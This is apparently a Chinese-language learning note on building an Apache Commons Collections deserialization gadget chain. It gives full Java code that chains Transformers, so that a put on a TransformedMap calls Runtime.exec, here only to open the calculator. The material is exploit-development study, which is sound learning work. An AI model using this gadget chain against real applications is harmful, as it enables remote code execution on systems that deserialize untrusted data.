上篇文章对Transformer有了一些基本的了解,学习了常用的构造payload的几个Transformer,但是对其利用可能还不是很了解,那么这篇文章就试着利用构造简单的payload。
我们最终要实现Runtime.getRuntime().exec(command),但反序列化漏洞的时候执行命令的方法一般都是反射执行,常用的反射执行方法:
Class run = Runtime.class;
Method method = run.getMethod("getRuntime");
Object obj =method.invoke(run);
Method method1 = run.getMethod("exec", String.class);
method1.invoke(obj,"open -a Calculator.app");
上面的代码应该很好理解,那么下面我们将它们加入到Transformer中,然后使用TransformedMap.decorate()方法执行一个map,然后使用put方法加入元素的时候触发计算器。
利用到了:
ChainedTransformer:将前一个的Transformer返回的结果作为下一个Transformer的参数传入。
ConstantTransformer:可以认为就是获取一个对象
InvokerTransformer:反射执行方法
那么我们先利用后两个Transformer构造一个Transformer链,然后使用ChainedTransformer将其连接执行。
首先
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator.app"})
};
可能会遇到点问题:
比如:下面的new Class为啥是两个参数啊?上面反射的invoke()就一个参数啊!
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),
我不知道是不是就我一个人困惑,我也是休息了一天才知道的,我个人的理解是:
我们直接跟进invoke方法,看它的定义函数
其中我们发现,它竟然需要传入两个参数,第一个是Object类型的,第二个是个可变长的Object类型的,相信在反射学习的时候也遇到过,对于这种类型的参数我们只需要在定义类型后加个[],转换成对应的数组即可实现对它的定义。
到这我们就应该理解为啥需要两个参数了,只给一个参数并不能确定我们所找的就是这个invoke方法。
同理,getMethod方法也是这样。然后我们继续,构造好了Transformer[],然后我们再构造一个ChainedTransformer将他们连接在一起。
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
然后新建一个map,然后就是正常操作了,那么贴一下全部代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class test {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator.app"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map hashmap = new HashMap();
hashmap.put(1,1);
Map map = TransformedMap.decorate(hashmap,chainedTransformer,null);
System.out.println(map);
map.put(1,2);
}
}
再说一下其它的疑惑地方:
我在看构造Transformers的时候很难理解最后调用exec函数的时候,上面利用反射执行的写的较为繁琐,简单点获得Runtime的对象的话
Method method = Runtime.class.getMethod("getRuntime");
Object obj =method.invoke(Runtime.class);
执行到invoke之后我们会得到Runtime对象,可能是对 InvokerTransformer方法了解的不是和透彻,总想着还得得到exec方法。。。
仔细看了看InvokerTransformer的实现,发现它做了挺多的,那么当我们得到了Runtime对象之后,传入到InvokerTransformer中,且传入的参数为
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator.app"})
捋一捋:
在ChainedTransformer中,我们可以把前一个Transformer中的输出作为后一个Transformer的输入,相当于ConstantTransformer将输入的Runtime.class,直接给了后面的InvokerTransformer作为InvokerTransformer.transtorm中的input参数,然后执行传入的方法,根据传入的参数类型然后执行。
Method method = Runtime.class.getMethod("getRuntime");
Object obj =method.invoke(Runtime.class);
System.out.println(obj);
System.out.println("----执行exec之前-----");
System.out.println("------进入InvokerTransformer------");
Class clazz = obj.getClass();
System.out.println(clazz);
Method method1 = clazz.getMethod("exec",String.class);
System.out.println(method1);
method1.invoke(obj,"open -a Calculator.app");
纠正之前的理解误区,原来构造反射的代码是这样的
Method method = Class.forName("java.lang.Runtime").getMethod("getRuntime");
Runtime run = (Runtime) method.invoke(null);
run.exec("open -a Calculator.app");
那这样的话构造的Transformer就很好理解了